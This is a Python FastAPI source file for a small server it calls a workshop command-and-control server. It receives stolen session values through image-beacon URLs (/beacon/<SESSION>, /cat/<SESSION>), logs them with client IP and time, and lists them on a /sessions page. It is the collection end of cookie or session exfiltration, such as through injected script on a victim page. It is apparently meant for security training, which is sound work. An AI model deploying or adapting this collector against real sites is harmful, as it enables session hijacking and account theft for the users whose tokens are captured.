import base64
import threading
from datetime import datetime
from pathlib import Path
from typing import Dict, List
import uvicorn
from fastapi import FastAPI, Request, Response
from fastapi.responses import FileResponse, HTMLResponse
app = FastAPI(title="Tiny C2 (Workshop)")
# In-memory store of observed session values.
# Each entry is a dict: { "value": str, "ip": str, "ts": isoformat }
_sessions: List[Dict[str, str]] = []
_lock = threading.Lock()
# A 1x1 transparent PNG (base64) used as a static beacon image.
_1x1_png_b64 = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z/C/HgAGgwJ/lK3Q6wAAAABJRU5ErkJggg=="
_IMAGE_BYTES = base64.b64decode(_1x1_png_b64)
_CAT_PATH = Path(__file__).resolve().parent / "cat.jpg"
def _record_session(value: str, ip: str) -> None:
"""Record a session value with client IP and timestamp (UTC ISO)."""
entry = {"value": value, "ip": ip, "ts": datetime.utcnow().isoformat() + "Z"}
with _lock:
_sessions.append(entry)
@app.get("/beacon/{session}", response_class=Response)
async def beacon(session: str, request: Request):
"""
Image beacon endpoint that accepts the session value as part of the URL path.
Example:
The server records the SESSION_VALUE (URL-decoded by FastAPI), the client's IP
and the UTC timestamp, then returns a 1x1 PNG image. Caching is disabled to
encourage repeated requests to be observed.
"""
client_ip = request.client.host if request.client else "unknown"
# session is provided by the URL path; FastAPI will have decoded percent-encoding
if session:
_record_session(session, client_ip)
headers = {
"Cache-Control": "no-cache, no-store, must-revalidate",
"Pragma": "no-cache",
"Expires": "0",
}
return Response(content=_IMAGE_BYTES, media_type="image/png", headers=headers)
@app.get("/cat/{session}", response_class=Response)
async def cat_image(session: str, request: Request):
"""
Serves the local cat.jpg file as a static image.
"""
client_ip = request.client.host if request.client else "unknown"
# session is provided by the URL path; FastAPI will have decoded percent-encoding
if session:
_record_session(session, client_ip)
headers = {
"Cache-Control": "no-cache, no-store, must-revalidate",
"Pragma": "no-cache",
"Expires": "0",
}
return FileResponse(_CAT_PATH, media_type="image/jpeg", headers=headers)
@app.get("/sessions", response_class=HTMLResponse)
async def sessions_list():
"""
Displays all received session values in a simple HTML page.
The page lists the session string, observed client IP, and timestamp.
"""
with _lock:
snapshot = list(_sessions)
html_lines = [
"",
"Observed Sessions",
"Observed Sessions
",
f"Total: {len(snapshot)}
",
]
if not snapshot:
html_lines.append("No sessions observed yet.
")
else:
html_lines.append(
"| # | Session | Client IP | Timestamp (UTC) |
|---|
"
)
for i, e in enumerate(snapshot, 1):
# Basic HTML escaping and truncation to avoid huge rows and XSS.
raw_value = str(e.get("value", ""))
safe_value = (
raw_value[:200]
.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
)
safe_ip = str(e.get("ip", "")).replace("&", "&")
ts = str(e.get("ts", ""))
html_lines.append(
f"| {i} | {safe_value} | {safe_ip} | {ts} |
"
)
html_lines.append("
")
html_lines.append("")
return HTMLResponse(content="\n".join(html_lines), status_code=200)
@app.get("/", response_class=HTMLResponse)
async def root():
html = (
""
"Small C2 Workshop Server"
"Workshop C2 server
"
"Use /beacon/<SESSION> as the image URL for a page that wants to report a session value.
"
'View recorded values at /sessions.
'
""
)
return HTMLResponse(content=html)
if __name__ == "__main__":
# Run with: python main.py
uvicorn.run("main:app", host="0.0.0.0", port=80, log_level="info")